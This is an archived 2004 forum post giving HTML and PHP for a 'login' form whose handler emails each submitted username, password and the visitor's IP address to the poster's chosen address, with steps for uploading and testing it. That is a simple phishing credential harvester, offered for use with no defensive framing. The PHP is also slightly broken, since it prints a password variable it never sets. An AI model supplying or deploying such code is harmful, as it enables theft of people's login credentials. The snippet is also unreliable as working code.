View Single Post
Old 10-26-2004, 09:56 AM   #3 (permalink)
sippin codeine
 
Super Techie

Join Date: Jun 2004

Posts: 312

sippin codeine

Send a message via Yahoo to sippin codeine
Default

Ok, upload the following code as form.PHP to your webserver.
Code:

Please enter your username and password.</center>

<form action="mail.php" method="POST">

Username: <input type="text" name="name" size="20">


Password: <input type="text" name="password" size="20"

<input type="submit" name="submit" value="Submit">

</form>
Then upload the following code as mail.PHP to your webserver.
**make sure to put Your email address in the fieldS where it says you@you.com**
Code:
<?php

$to  = "YOU@YOU.com";

/* subject fields*/

$subject = "username and password";

$from = $_POST[name];

$email = $_POST[password];

$ip = getenv("REMOTE_ADDR");

$user = getenv("HTTP_USER_AGENT");

/* message in html format */

$message = "

<html>Username: $from



Password: $password



User IP Address: $ip



</html>";



$headers  = "MIME-Version: 1.0\r\n";

$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";

$headers .= "From: Whatever address\r\n";

$headers .= "To: You <YOU@YOU.com>\r\n";

$headers .= "Name: $_POST[name]\r\n";

mail($to, $subject, $message, $headers) or die("Can not send mail right now, please try later!");

?>

Your email has been sent
Goto /form.php of your domain.
Put some text in the boxes and press the submit button.
Check your email.
Arrange the text boxes around as you wish, after you get it working.

Also i dont know how to make the password text appear as ****** when your typing in the password, you should check google for that.

Thank shan for the code, i only modified it.
__________________
**[System specs]**

Delphi Enterprise 6 - 7
VB 6.0 - 2005 EE
sippin codeine is offline